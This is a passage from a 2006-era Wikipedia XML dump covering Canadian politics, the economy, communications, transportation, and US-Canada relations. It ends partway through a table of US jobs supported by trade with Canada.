Even though the new rules likely had the most impact for smaller parties, this strategy was probably used by all parties to try to increase their percentage of the vote. For supporters of the party holding the safe seat, one could argue that even if their vote was not needed to secure the seat for the party, it still made a difference to party funding.  

Commonly, two national debates receive nationwide coverage during an election, one in each official language. Both debates are broadcast in translation, so it is possible to watch either debate without a working knowledge of the language of the debate, although part of the meaning can be lost. People who are bilingual enough to understand both the English- and French-language debates without need of translation will get a better idea of the substances of the two debates and the differences between them if they decide to watch both debates.

Currently only the parties represented in Parliament participate in the debates. The Green Party, however, has argued that it should also be allowed to participate. Its share of the vote has increased greatly, due in part to the new funding formula, in part because it ran in many more ridings than in previous elections, and in part to increased popularity. Thus the argument goes that if there is sufficient national support to earn official recognition as a party (i.e. one that is granted funding based on getting 2% or more of the national vote) it should also be allowed to debate on the same level as the other officially recognized parties.

Also, having received 6% of the vote in British Columbia, they will have a stronger case for being included in the debates in future elections, based on past precedent. The Bloc Québécois was allowed to participate in debates on the basis of its support in Quebec, even before it had elected any MPs in a general election. (The Bloc's MPs at the time had either switched parties or won in by-elections.) Also, the Bloc participates in English-language debates despite running no candidates outside Quebec. Furthermore, the [[Reform Party of Canada]] was included in debates when it had only a single MP, on the basis of anticipated support. So past party performance or number of seats is not how participants are chosen.

====Determination of party funding for 2004 election====

Because the new funding was based on percentage of the vote gained, an estimate was made towards how much each federal party would receive. All federal parties that had seats in the House of Commons were given funding. Because the Canadian Conservative party was new, estimates were attempted based on the votes for the old [[Progressive Conservative Party of Canada]] and the [[Canadian Alliance]] party as the Conservative Party of Canada was a merger of the two parties. The amount the Conservative Party of Canada was given was above the amount it was estimated to receive and is expected to return the money. The Liberal party of Canada also received less votes than expected and is in the same situation. However some parties benefited from the new system. The NDP received less funding than the number of votes it received (it increased its share of the vote) and will receive additional funds to reflect this. For the first time the Green Party of Canada will receive direct federal funding in the next election as it was able to achieve the 2% vote threshold required (in British Columbia where the party was the most successful it garnered 6% of the vote). Impact on the Bloc Québécois funding (if they will need to return funds) is not yet clear but since it increased its share of the vote in Quebec (the only province it runs in - it is expected to be in a surplus position as well). In the future these numbers will be known ahead of time as they will be based on the previous electoral results.

==Current issues==

In March 2001, [[Bernard Landry]] succeeded [[Lucien Bouchard]] as premier of Quebec (see [[List of Quebec Premiers]]) and pledged to promote independence for Quebec and to hold another referendum on [[Quebec sovereignty movement|sovereignty]]. In the [[Quebec general election, 2003|2003 Quebec election]], Quebecers elected the [[Quebec Liberal Party]], and [[Jean Charest]] became premier, the first solidly federalist premier since the [[1980s]].

Advertising efforts by the federal government following the 1995 referendum led to alleged excesses by government officials; while the issue broke in the press in [[2002]], it came to full prominence after the Auditor's Report, causing the &quot;[[sponsorship scandal]]&quot;. The [[Gomery Commission]], and its subsequent reports, have continued the situation.

Currently, such issues as [[medicare (Canada)|medicare]], [[unemployment]], [[housing]], [[education]], [[tax]]es, [[trade]], and the [[natural environment|environment]] preoccupy many Canadians more urgently than national unity. In October 2004, there was a health care summit where all the provincial premiers and territorial leaders participated that has resulted in a change in federal funding towards health care.

Only [[British Columbia|British Columbians]] have the ability to remove sitting members of the provincial legislature through [[recall election]] and [[initiative]].

At 11:18 a.m., February 6 2006, Stephen Harper was sworn in as prime minister of Canada at Rideau Hall in Ottawa, Ontario, Canada. That same day at approximatelly 11:22 a.m. with the Honorable Governor General, Stephen Harper signed in his new cabinet.

==See also==

*[[Canadian and American politics compared]]
*[[Canadian and Australian politics compared]]
*[[Political culture of Canada]]
*[[List of political parties in Canada]]
*[[Canadian federal election results since 1867]]
*[[Canadian political scandals]]

==External links==
*[http://centrerion.blogspot.com Centrerion] Centrist blog
*[http://www.canadianpolicywiki.ca The Canadian Policy Wiki] Canadian collaborative policy think tank
*[http://www.canadiancontent.net/forums/ Canadian Political Forums] 
*[http://www.mapleleafweb.com/ Maple Leaf Web] General politics
*[http://canada.gc.ca/ Official website of the Government of Canada]
*[http://laws.justice.gc.ca/en/const/c1867_e.html ''Constitution Act, 1867'' and ''Constitution Act, 1982'']
*[http://citymayors.com/government/canada_government2.html City Mayors article on provinces and cities]
*[http://www.lobbygov.org Active Citizenship in Canada]

{{NATO}}
{{G8}}

[[Category:Government of Canada]]
[[Category:Westminster System]]
[[Category:Politics of Canada]]

[[es:Política de Canadá]]
[[fr:Politique du Canada]]
[[pt:Política do Canadá]]
[[zh:加拿大政治]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Canada</title>
    <id>5195</id>
    <revision>
      <id>42108731</id>
      <timestamp>2006-03-03T21:58:11Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">{{Economy of Canada table}}
[[Canada]] is one of the world's wealthiest nations, a member of the [[OECD]] and [[G7]]. As with other first world nations, the Canadian economy is dominated by the [[service industry]], which employs about three quarters of Canadians. Canada is unusual among developed countries in the importance of the [[primary industry|primary sector]], with the [[logging]] and [[petroleum|oil]] industries being two of Canada's most important. In part because of this Canada is one highly dependent on [[international trade]], especially trade with the United States. Preserving Canadian independence in the face of the strong pressure from the United States has long been a major political issue. Canada also has a sizeable manufacturing sector, centred in Southern Ontario, with the [[automobile industry]] especially important.

Canada is a [[free market]] economy with slightly more government intervention than the United States, but much less than most European nations. Canada has traditionally had a lower per capita GDP than its southern neighbour (whereas wealth has been more equally divided), but higher than the large western European economies. For the last decade, after a period of turbulence, the Canadian economy has been growing rapidly with low [[unemployment]] and large government surpluses on the federal level.

==Economic sectors==
===Natural resources===
Canada's huge land mass, the second largest in the world after Russia, ensures that a wide array of natural resources are present. Different resources are centered in different parts of Canada. In British Columbia the forestry industry is of great import, while the oil industry is central to Alberta's prosperity. Northern Ontario is home to a wide array of mines, while the [[fishing]] industry has long been central to the character of the Atlantic provinces, though it has recently been in steep decline. 

However, these industries have increasingly become less and less important to the overall economy. Only some 4% of Canadians are employed in these fields, and they account for less than 6% of GDP. They are still paramount in many parts of the country. Many, if not most, towns in the northern part of the country, where agriculture is difficult, exist because of a nearby mine or source of timber. Canada is a world leader in the production of many natural resources such as [[gold]], [[nickel]], [[uranium]], and [[lead]]. Several of Canada's largest companies are based in natural resource industries, such as [[EnCana]], [[Inco]], and [[Barrick Gold]]. The vast majority of these products are exported, mainly to the United States. There are also many secondary and service industries that are directly linked to primary ones. For instance one of Canada's largest manufacturing industries is the [[pulp and paper]] sector, which is directly linked to the logging industry.

The relatively large reliance on natural resources has several effects on the Canadian economy and Canadian society. While manufacturing and service industries are easy to standardize, natural resources vary greatly by region. This ensures that differing economic structures developed in each region of Canada, contributing to Canada's strong regionalism. At the same time the vast majority of these resources are exported, integrating Canada closely into the international economy. Howlett and Ramesh argue that the inherent instability of such industries also contributes to greater government intervention in the economy, to reduce the social impact of market changes.

Such industries also raise important questions of sustainability. Despite many decades as a leading producer, there is little risk of depletion. Large discoveries continue to be made, such as the massive nickel find at [[Voisey's Bay]]. Moreover the far north remain largely undeveloped as producers await higher prices or new technologies as many operations in this region are not yet cost effective. In recent decades Canadians have become less willing to accept the environmental destruction associated with exploiting natural resources. High wages and Native land claims have also curbed expansion. Instead many Canadian companies have focused their exploration and expansion activities overseas where prices are lower and governments more accommodating. Canadian companies are increasingly playing important roles in Latin America, Southeast Asia, and Africa. It is the renewable resources that have raised some of the greatest concerns. After decades of escalating overexploitation the [[cod]] fishery all but collapsed in the 1990s, and the Pacific salmon industry also suffered greatly. The logging industry, after many years of activism, have in recent years moved to a more sustainable model.

===Energy===
[[Image:Oil well3419.jpg|frame|right|[[Nodding donkey]] pumping an oil well near [[Sarnia, Ontario]]]]
Canada is one of the only developed nations that is a net exporter of energy. Most important are the large oil and gas resources centred in Alberta, but also present in neighbouring British Columbia and Saskatchewan. The vast [[Athabasca Tar Sands]] give Canada the world's second largest reserves of oil. In Quebec and British Columbia, as well as Ontario and Manitoba, hydroelectric power is a cheap and relatively environmentally friendly source of abundant energy. In part because of this, Canada is also the world's highest per capita consumer of energy. Cheap energy has enabled the creation of several important industries, such as the large [[aluminum]] industry that makes use of cheap Quebec and British Columbia hydroelectricity.

Historically an important issue in Canadian politics is that while Western Canada is one of the world's richest sources of energy, the industrial heartland of Southern Ontario and Quebec has fewer native sources of power. It is, however, cheaper for Alberta to ship its oil to the western United States than to eastern Canada. The eastern Canadian ports thus import significant quantities of oil from overseas, and Ontario makes significant use of nuclear power.

In times of high oil prices this means that the majority of Canada's population suffers, while the West grows extremely wealthy. The [[National Energy Policy]] of the early 1980s attempted to force Alberta to sell low priced oil to eastern Canada. This policy proved deeply divisive, and quickly lost its importance as oil prices collapsed in the mid-1980s. One of the most controversial sections of the [[Canada-United States Free Trade Agreement]] of 1988 was a promise that Canada would never charge the United States more for energy than fellow Canadians.

===Agriculture===
[[Image:Alberta modern cement grain elevator 034 cropped.jpg|right|thumb|300px|A grain elevator in Alberta]]
Canada is also one of the world's most important suppliers of agricultural products, with the Canadian Prairies one of the most important suppliers of wheat and other grains. As with all other developed nations the proportion of the population and GDP devoted to agriculture fell dramatically over the 20th century. Unlike the agricultural industries of many developed nations, the Canadian prairies are fertile enough to compete internationally without large subsidies. This is less true of the smaller dairy and poultry industries of central Canada, which do receive significant government support. Canada is a major exporter of agricultural products, to the United States but also to Europe and East Asia.

===Manufacturing===
The general pattern of development for wealthy nations was a transition from a primary industry based economy to a manufacturing based one, and then to a service based economy. Canada did not follow this pattern, manufacturing has always been secondary, though certainly not unimportant. In part because of this Canada did not suffer as greatly from the pains of [[deindustrialization]] of the 1970s and 1980s. Some important industries, such as the textile industry, did mostly disappear abroad, however.

By a considerable margin the most important Canadian manufacturing industry is the [[automobile industry]] of southwest Ontario. This industry is largely seen as the creation of the [[Autopact]] of the 1960s. Ontario is home to [[branch plant]]s to all the major American automobile makers and many parts factories owned by Canadian firms such as [[Magna International]]. Ontario today produces more vehicles each year than the neighbouring U.S. state of [[Michigan]], the heart of the American automobile industry. Manufacturers have been attracted to Canada due to the highly educated population with lower labour costs than the United States. Canada's government run healthcare system is also an important attraction, as it exempts companies from the high health insurance costs they must pay in the United States.

Much of the Canadian manufacturing industry consists of branch plants of American firms, though there are some important domestic manufacturers such as [[Bombardier]]. This has raised several concerns for Canadians. Branch plants provide mainly blue collar jobs, with research and executive positions confined to the United States.

===Service sector===
[[Image:TD Centre.JPG|thumb|300px|right|The [[Toronto-Dominion Centre]] in Toronto]]
The service sector in Canada is vast and multifaceted, employing some three quarters of Canadians and accounting for two thirds of GDP. The largest employer is the [[retail]] sector, employing almost 12% of Canadians. The retail industry is mainly concentrated in a relatively small number of chain stores clustered together in [[shopping mall]]s. In recent years the rise of [[big-box store]]s such as the American [[Wal-Mart]] and the Canadian [[Future Shop]] have led to fewer workers in this sector and a migration of retail jobs to the suburbs.

The second largest portion of the service sector is the business services, employing only a slightly smaller percentage of the population. This includes the [[financial services]], [[real estate]], and communications industries. This portion of the economy has been rapidly growing in recent years. It is largely concentrated in the major urban centres, especially Toronto. The [[Big Five banks]], centred on that city, are some of Canada's largest and most important firms.

The education and health sectors are two of Canada's largest, but both are largely under the purview of the government. The health care industry has been rapidly growing, and is the third largest in Canada. Its rapid growth has led to problems for governments who must find money to fund it.

Canada has an important [[high tech]] industry, and also an entertainment industry creating content both for local and international consumption. Tourism is of ever increasing importance, with the vast majority of international visitors coming from the United States.

==Political issues==
===Regional imbalances===
The Canadian economy differs greatly from region to region.  Traditionally Ontario has been the economic engine of Canada, home to a third of its population and much of its industry. Recent years have seen rapid growth in the west as trade with Asia has enriched British Columbia and oil wealth provided a major boost to [[Alberta]], and [[Saskatchewan]].

The four Atlantic provinces have traditionally been significantly poorer than the rest of Canada, especially after the recent collapse of the fishing industry. Recent years have seen some significant moves towards diversification, especially as offshore oil and gas wealth have begun to flow into the region. [[Quebec]] has also traditionally been poorer than the Canadian average although by a lesser margin than the Atlantic provinces.

===Relations with the U.S.===
A significant concern for many Canadians in the first few years of the 21st Century is Canada's relationship with the U.S. Although &quot;[[brain drain]]&quot; has slowed as a result of the minor economic downturn in the U.S. between 2001 and 2003 following the [[September 11, 2001 attacks]], Canada's own job market has suffered as well. Disputes over trade tariffs, multi-lateral military action and controversial Canadian legislation such as same-sex marriage, [[immigration law]], and [[legal medical marijuana]] have raised tensions and cooled relations between these two countries. The two countries also seem to be heading in different directions where values are concerned, and this could begin to provide problems with relations in the future. 

Despite these differences, Canada is by far the United States' largest trading partner, with more than $1.4 [[billion]] CAD in trade per day. By comparison, in [[1999]], this was more than U.S. trade with all the countries of [[Latin America]] combined. U.S. exports to Canada exceed those to all members of the [[European Union]] combined. Just the two-way trade that crosses the [[Ambassador Bridge]] between [[Michigan]] and [[Ontario]] equals all U.S. exports to [[Japan]]. Canada's importance to the United States is not just a border-state phenomenon: Canada is the leading export market for 35 of 50 U.S. states. Canada is also home to a wide variety of U.S. branch plants.

Bilateral trade increased by about 51.78% between 1989, when the U.S.-Canada Free Trade Agreement (FTA) went into effect, and 1994, when the [[North American Free Trade Agreement]] (NAFTA) superseded it. Trade has since increased by 40%. NAFTA continues the FTA's moves toward reducing trade barriers and establishing agreed upon trade rules. It also resolves some long-standing bilateral irritants and liberalizes rules in several areas, including [[agriculture]], services, energy, financial services, investment, and government procurement. NAFTA forms the largest trading area in the world, embracing the 406 million people of the three [[North America]]n countries.

The largest component of U.S.-Canada trade is in the automotive sector. Under the [[1965]] [[Canada-United States Automotive Agreement]] (also known as the Auto Pact), which provided for free trade in cars, trucks, and auto parts, two-way trade in automotive products rose from $715 million in [[1964]] to $104.1 billion in [[1999]]. Auto Pact benefits are incorporated into NAFTA.

The U.S. is Canada's leading agricultural market, taking nearly one-third of all food exports. Conversely, Canada is the second-largest U.S. agricultural market (after Japan), primarily importing fresh fruits and vegetables and livestock products. Nearly two-thirds of Canada's forest products, including pulp and paper, are exported to the United States; 71.66% of Canada's total newsprint production also is exported to the U.S.

At $21 billion in [[2000]], U.S.-Canada trade in energy is the largest U.S. energy trading relationship in the world. The primary components of U.S. energy trade with Canada are [[petroleum]], [[natural gas]], and [[electricity]]. Canada is the United States' largest oil supplier and the fifth-largest energy producing country in the world. Canada provides about 16% of U.S. oil imports and 14% of total U.S. consumption of natural gas. The United States and Canada's national electricity grids are linked and both countries share hydropower facilities on the Western borders.

While 95% of U.S.-Canada trade flows smoothly, there are occasionally bilateral trade disputes over the remaining 5%, particularly in the agricultural and cultural fields. Usually, however, these issues are resolved through bilateral consultative forums or referral to WTO or NAFTA dispute resolution. In May 1999, the U.S. and Canadian Governments negotiated an agreement on magazines that will provide increased access for the U.S. publishing industry to the Canadian market. The United States and Canada also have resolved several major issues involving fisheries. By common agreement, the two countries submitted a Gulf of Maine boundary dispute to the International Court of Justice in 1981; both accepted the Court's [[12 October]] [[1984]] ruling which demarcated the territorial sea boundary. A current issue between the United States and Canada is the ongoing [[US - Canada softwood lumber dispute|softwood lumber dispute]], as the U.S. alleges that Canada unfairly subsidizes its forestry industry.

In 1990, the United States and Canada signed a bilateral Fisheries Enforcement Agreement, which has served to deter illegal fishing activity and reduce the risk of injury during fisheries enforcement incidents. The U.S. and Canada signed a Pacific Salmon Agreement in June 1999 that settled differences over implementation of the 1985 Pacific Salmon Treaty for the next decade.

Canada and the United States signed an aviation agreement during President Clinton's visit to Canada in February 1995, and air traffic between the two countries has increased dramatically as a result. The two countries also share in operation of the [[St. Lawrence Seaway]], connecting the [[Great Lakes]] to the [[Atlantic Ocean]].

The U.S. is Canada's largest foreign investor; at the end of 1999, the stock of U.S. direct investment was estimated at $116.7 billion, or about 72% of total foreign direct investment in Canada. U.S. investment is primarily in Canada's mining and smelting industries, petroleum, chemicals, the manufacture of machinery and transportation equipment, and finance.

Canada is the third-largest foreign investor in the United States. At the end of 1999, the stock of Canadian direct investment in the United States was estimated at $90.4 billion. Canadian investment in the United States is concentrated in manufacturing, wholesale trade, real estate, petroleum, finance, and insurance and other services.

==See also==
*[http://www.oecd.org/canada/ OECD's Canada country Web site] and [http://www.oecd.org/eco/surveys/canada/ OECD Economic Survey of Canada]
*[[Economic history of Canada]]
*[[Canadian and American economies compared]]
*[[Economy of Quebec]]

==References==
*Howlett, Michael and M. Ramesh. ''Political Economy of Canada: An Introduction.'' Toronto: McClelland and Stewart, 1992.
*Wallace, Iain, ''A Geography of the Canadian Economy.'' Don Mills: Oxford University Press, 2002.
*{{Factbook}}

[[Category:Economy of Canada| ]]

[[ca:Economia del Canadà]]
[[es:Economía de Canadá]]
[[fr:Économie du Canada]]
[[pt:Economia do Canadá]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Canada</title>
    <id>5196</id>
    <revision>
      <id>24746561</id>
      <timestamp>2005-10-04T18:34:30Z</timestamp>
      <contributor>
        <username>NTBot</username>
        <id>274552</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: pt</comment>
      <text xml:space="preserve">'''Telephones - main lines in use:''' 20,802,900 (1999)

'''Telephones - mobile cellular:''' 8,751,300 (1997)

'''Telephone system:''' excellent service provided by modern technology
* ''domestic:'' domestic satellite system with about 300 earth stations
* ''international:'' 5 coaxial submarine cables; satellite earth stations - 5 Intelsat (4 [[Atlantic Ocean]] and 1 [[Pacific Ocean]]) and 2 Intersputnik (Atlantic Ocean region)

'''Radio broadcast stations:''' AM 432, FM 1527, shortwave 6 (2003)

'''Radios:''' 32.3 million (1997)

'''Television broadcast stations:''' 1456 (128 originating stations, 1328 retransmitters) (2003)

'''Televisions:''' 21.5 million (1997)

'''Internet Service Providers (ISPs):''' 760 (2000 est.)

'''[[Country codes]]:''' CA, CDN, 124

'''[[ITU prefix|ITU prefixes]]:''' Letter combinations available for use in Canada as the first two letters of a television or radio station's call sign are '''CF, CG, CH, CI, CJ, CK, CY, CZ, VA, VB, VC, VD, VE, VF, VG, VO, VX, VY, XJ, XK, XL, XM, XN''' and '''XO'''. Only '''CF, CH, CI, CJ''' and '''CK''' are currently in common use, although four radio stations in [[St. John's, Newfoundland and Labrador]] retained call letters beginning with '''VO''' when Newfoundland joined [[Canadian Confederation]] in [[1949]]. Stations owned by the [[Canadian Broadcasting Corporation]] use '''CB''' through a special agreement with the government of [[Chile]]. Some codes beginning with '''VE''' and '''VF''' are also in use to identify radio repeater transmitters.

'''Internet users:''' 16.84 million (2002)

'''Total households with Internet access:''' 6.7 million out of 12.3 million (2004)

'''Total households with high speed connection:''' 65%  (2004)

'''Total users of home online [[banking]]:''' 57% (2004)

Most connected are from [[Alberta]], [[British Columbia]] and [[Ontario]] (2004)


''See also: [[Canada]], [[Canadian Radio-television and Telecommunications Commission]], [[Canadian Broadcasting Corporation]], [[Media in Canada]].''

Source: http://www.crtc.gc.ca/eng/GENERAL/statistics/tab2003-1.htm

[[Category:Communications by country|Canada]]

[[pt:Comunicações do Canadá]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Canada</title>
    <id>5197</id>
    <revision>
      <id>35666386</id>
      <timestamp>2006-01-18T12:04:46Z</timestamp>
      <contributor>
        <username>Morwen</username>
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      <comment>{{North America in topic|Transportation in}}</comment>
      <text xml:space="preserve">{{CIA}}

== Railways ==
* ''total:'' 49,422 km; note - there are two major transcontinental freight railway systems: [[Canadian National Railway|Canadian National]] (privatized November 1995) and [[Canadian Pacific Railway]]; passenger service provided by government-operated firm [[VIA Rail|VIA]]. 
* ''standard gauge:'' 49,422 km 1.435-m gauge 4 feet 8½ inches (129 km electrified) (2002)

===Cities with [[commuter train]] systems===
* [[Montreal, Quebec]] ([[Agence métropolitaine de transport|Trains de banlieue]])
* [[Toronto, Ontario]] ([[GO Transit]])
* [[Vancouver, British Columbia]] ([[West Coast Express]])

===Cities with [[metro|subway/metro]] or [[Light rail|light rail]] systems===
* [[Calgary, Alberta]] (the [[C-Train]])
* [[Edmonton, Alberta]]
* [[Montreal, Quebec]] (the [[Montreal Metro|metro or ''métro'']])
* [[Ottawa, Ontario]] (the [[O-Train]])
* [[Toronto, Ontario]] (operated by the TTC - [[Toronto Transit Commission]])
* [[Vancouver, British Columbia]] ([[Vancouver SkyTrain|SkyTrain]])

{{seealso|Rail transport in Canada}}

=== Railway links with adjacent countries ===

* [[Transportation in the United States|United States]] - yes
* [[Transportation in Alaska|Alaska]] - no - Proposed.

== Highways ==
* ''total:'' 1.408 million km
* ''paved:'' 497,306 km (including 16,900 km of expressways)
* ''unpaved:'' 911,494 km (2002)

{{seealso|List of Canadian highways by province|Trans-Canada Highway|Yellowhead Highway}}

== Waterways ==

3,000 km, including [[Saint Lawrence Seaway]]

== Canals ==
* St Lawrence Canal
* Welland Canal
* Soo Locks
* Trent Severn Waterway
* Rideau Canal

== Pipelines ==

 crude and refined oil 23,564 km; natural gas 74,980 km

== Ports and harbors ==

[[Bécancour, Quebec]]; [[Churchill, Manitoba]]; [[Halifax Regional Municipality, Nova Scotia|Halifax, Nova Scotia]]; [[Hamilton, Ontario]]; [[Montreal, Quebec]]; [[New Westminster, British Columbia]]; [[Prince Rupert, British Columbia]]; [[Quebec City, Quebec]]; [[Saint John, New Brunswick]]; [[St. John's, Newfoundland and Labrador]]; [[Sept-Îles, Quebec]]; [[Sydney, Nova Scotia]]; [[Trois-Rivières, Quebec]]; [[Thunder Bay, Ontario]]; [[Toronto, Ontario]]; [[Vancouver, British Columbia]]; [[Windsor, Ontario]]

== Merchant marine ==
* ''total:'' 122 ships (1,000 GRT or over) 1,840,272 GRT or 2,740,864 DWT
* ''ships by type:'' barge carrier 1, bulk 61, cargo 11, chemical tanker 6, combination bulk 2, passenger 3, passenger/cargo 1, petroleum tanker 18, rail car carrier 2, roll-on/roll-off 9, short-sea passenger 3, specialized tanker 1 (2002 est.)
* ''note:'' does not include ships used exclusively in the [[Great Lakes (North America)|Great Lakes]] (1998 est.)

== Airports ==

{{see|:Category:Airports in Canada}}

All figures as of January 2006

*Total airports - 1429
*Land aerodromes - 1097
*Water aerodromes - 326

*[[:Category:Airports of Alberta]] - 183 (178 land, 5 water)
*[[:Category:Airports of British Columbia]] - 217 (128 land, 89 water)
*[[:Category:Airports of Manitoba]] - 134 (110 land, 24 water)
*[[:Category:Airports of New Brunswick]] - 31 (31 land, 0 water)
*[[:Category:Airports of Newfoundland and Labrador]] - 36 (30 land, 6 water)
*[[:Category:Airports of the Northwest Territories]] - 65 (40 land, 25 water)
*[[:Category:Airports of Nova Scotia]] - 30 (21 land, 9 water)
*[[:Category:Airports of Nunavut]] - 32 (30 land, 2 water)
*[[:Category:Airports of Ontario]] - 319 (215 land, 104 water)
*[[:Category:Airports of Prince Edward Island]] - 4 (4 land, 0 water)
*[[:Category:Airports of Quebec]] - 183 (135 land, 48 water)
*[[:Category:Airports of Saskatchewan]] - 161 (148 land, 13 water)
*[[:Category:Airports of Yukon]] - 34 (27 land, 7 water)

=== Heliports ===

{{see|List of heliports in Canada}}

All figures as of January 2006

*Total heliports - 295

*[[Alberta]] - 57
*[[British Columbia]] - 67
*[[Manitoba]] - 4
*[[New Brunswick]] - 6
*[[Newfoundland and Labrador]] - 5
*[[Northwest Territories]] - 6
*[[Nova Scotia]] - 19
*[[Nunavut]] - 0
*[[Ontario]] - 92
*[[Prince Edward Island]] - 2
*[[Quebec]] - 39
*[[Saskatchewan]] - 2
*[[Yukon]] - 0

Somewhere it should be mentioned how the Canadian railway linking east and west Canada paralled the [[transcontinental railroad]] in the [[United States]].  Both of these were extremely important to the development of each country.

== See also ==

* [[Canada]]

{{North America in topic|Transportation in}}
[[Category:Transportation in Canada|*]]</text>
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  </page>
  <page>
    <title>Military of Canada</title>
    <id>5198</id>
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      <id>29828309</id>
      <timestamp>2005-12-01T18:56:47Z</timestamp>
      <contributor>
        <username>Cleared as filed</username>
        <id>318771</id>
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      <text xml:space="preserve">#REDIRECT [[Canadian Forces]]</text>
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  </page>
  <page>
    <title>United States-Canada relations</title>
    <id>5199</id>
    <revision>
      <id>40928006</id>
      <timestamp>2006-02-23T23:02:22Z</timestamp>
      <contributor>
        <username>Gareth Wyn</username>
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      </contributor>
      <minor />
      <comment>/* Trade */  sp.</comment>
      <text xml:space="preserve">{{bilateral|U.S.-Canada|USA|Canada}}
'''[[Canada]]-[[United States]] relations''' were famously described by Canadian [[Prime Minister of Canada|Prime Minister]] [[Pierre Trudeau]] as being like &quot;sleeping with an elephant.  No matter how friendly and even-tempered is the beast,&quot; quipped Trudeau, &quot;one is affected by every twitch and grunt.&quot;{{ref|1}}  Canada and the U.S. have long been close allies, and Canada is of great importance to the United States, in that it is that country's largest trading partner and its guarantor of security on the long and largely undefended and indefensible border.

==History==
At the outset of the [[American Revolution]], the [[Patriot (American Revolution)|American revolutionaries]] regarded the presence of the [[British Empire]] in the Canadian provinces as a strategic threat. [[French Canadians]] were invited to join the resistance by sending representatives to the [[Continental Congress]], and Canada was pre-approved for joining the United States in the [[Articles of Confederation]]. When [[Invasion of Canada (1775)|Canada was invaded]] during the [[American Revolutionary War]] in an attempt to expel the British from [[North America]], Americans hoped French Canadians would join them in the effort. None of these measures proved successful in uniting Canada with the [[thirteen colonies|thirteen American colonies]], and so in peace negotiations, [[Benjamin Franklin]] unsuccessfully attempted to convince British diplomats to cede Canada to the United States. The continued presence of the British Empire in Canada after the war helped to sour relations in the succeeding years, particularly since a great number of [[Loyalist (American Revolution)|Loyalist]] refugees from the American colonies resettled in Canada during and after the war.

The [[Treaty of Paris (1783)]] which ended the war called for the British to vacate a number of fortifications along the [[Great Lakes]] border. The British failed to do so, citing failure of the United States to provide financial restitution for Loyalists who had lost property in the war. The [[Jay Treaty]] in 1795 with Great Britain resolved some lingering issues, but tensions mounted again after the turn of the century, erupting into a shooting [[War of 1812|war in 1812]], when the Americans declared war on the British. The Americans were irked by British harassment of U.S. ships on the high seas, which was a byproduct of British involvement in the ongoing [[Napoleonic Wars]]. The Americans did not possess a navy capable of challenging the [[Royal Navy]], and so an invasion of Canada was proposed as the only feasible means of attacking the British Empire. Americans on the western frontier also hoped an invasion would bring an end to what they saw as British support of [[American Indians in the United States|American Indian]] resistance to the [[westward expansion of the United States]]. The early strategy was to temporarily seize Canada as a means of forcing concessions from the British. As the war progressed, however, outright annexation was more frequently cited as a war aim. Many Americans hoped the Canadians would welcome the chance to overthrow their British rulers. The war ended as a stalemate, and animosity gradually lessened over the 19th century as commercial and cultural ties grew.

A [[Oregon boundary dispute|boundary dispute]] in the [[Oregon Country]] (''Fifty-Four Forty or Fight!'') was the most serious disturbance, but was peacefully resolved. In the 1930s, the United States studied plans to invade Canada in [[War Plan Red]], albeit as an academic exercise. 

Following co-operation in the two World Wars, Canada and the United States lost much of their previous animosity. As Britain's influence as a global superpower declined, Canada and the United States became extremely close partners.  Canada was a close ally of the United States during the [[Cold War]].

The Canadian military supported the U.S. in most major wars, including the [[Korean War]], the [[Gulf War]], the [[Kosovo War]], and the [[War on Terror]]. The main exceptions to this were the Canadian government's opposition to the [[Vietnam War]] and the [[2003 invasion of Iraq]], which caused some brief diplomatic tensions. Despite these issues military relations have remained close.

==Defense==
U.S. defense arrangements with Canada are more extensive than with any other country. The [[Permanent Joint Board on Defense]], established in 1940, provides policy-level consultation on bilateral defense matters. The United States and Canada share [[NATO]] mutual security commitments. In addition, U.S. and Canadian military forces have cooperated since 1958 on continental air defense within the framework of the North American Aerospace Defense Command ([[North American Aerospace Defense Command|NORAD]]).

==Trade==
Canada and the United States have the world's largest trading relationship with huge quantities of goods and people flowing across the border each year.  Since the 1987 [[Canadian-American Free Trade Agreement]] there have been no [[tariff]]s on most goods passed between the two countries.

With such a massive trading relationship, trade disputes between the two countries are frequent and inevitable.  Americans have placed ongoing tariffs on Canadian [[US - Canada softwood lumber dispute|softwood lumber]] despite losing various appeals placed by Canada in the NAFTA and WTO panels.  The softwood lumber dispute remains a growing issue between the two countries and is degrading the trade relationship on both sides of the border.  Other notable disputes include the [[Canadian Wheat Board]], and Canadian cultural &quot;restrictions&quot; on magazines and television (See [[CRTC]], [[CBC]] and [[National Film Board of Canada]]). Canadians have complained about such things as the ban on [[beef]] since a case of [[Bovine spongiform encephalopathy|Mad Cow]] disease was discovered in 2003 (and a few subsequent cases) and the high American agricultural subsidies. Concerns in Canada also run high over aspects of the [[North American Free Trade Agreement]] (NAFTA) such as Chapter 11, which many worry makes it difficult for the Canadian government to protect Canada's environment.

One ongoing and complex trade issue involves the importation of cheaper [[prescription drugs]] from Canada to the United States.  Due to the Canadian government's [[price controls]] as part of their state-run medical system, prices for prescription drugs can be a fraction of the price paid by consumers in the unregulated U.S. market.  While laws in the United States have been passed at the national level against such sales, specific state and local governments have passed their own legislation to allow the trade to continue.  Drug companies--often supporters of political campaigns--have obviously come out against the practice.

According to a 2003 study commissioned by the Canadian Embassy in the United States, based on 2001 data, Canada-U.S. [[trade]] supported 5.2 million U.S. jobs.

{| style=&quot;text-align:right;&quot; class=&quot;wikitable&quot;
|- style=&quot;text-align:center;&quot; 
![[U.S. State]]
!U.S. Jobs Supported
!Rank
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Alabama.svg|20px]] [[Alabama]]
|72,000||24
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Alaska.svg|20px]] [[Alaska]]
|13,000||48
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Arizona.svg|20px]] [[Arizona]]
|89,000||22
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Arkansas.svg|20px]] [[Arkansas]]
|45,000||32
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of California.svg|20px]] [[California]]
|626,000||1
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Colorado.svg|20px]] [[Colorado]]
|93,000||21
|-
| style=&quot;text-align:left;&quot;| [[Image:Connecticut state flag.png|20px]] [[Connecticut]]||67,000||27
|-
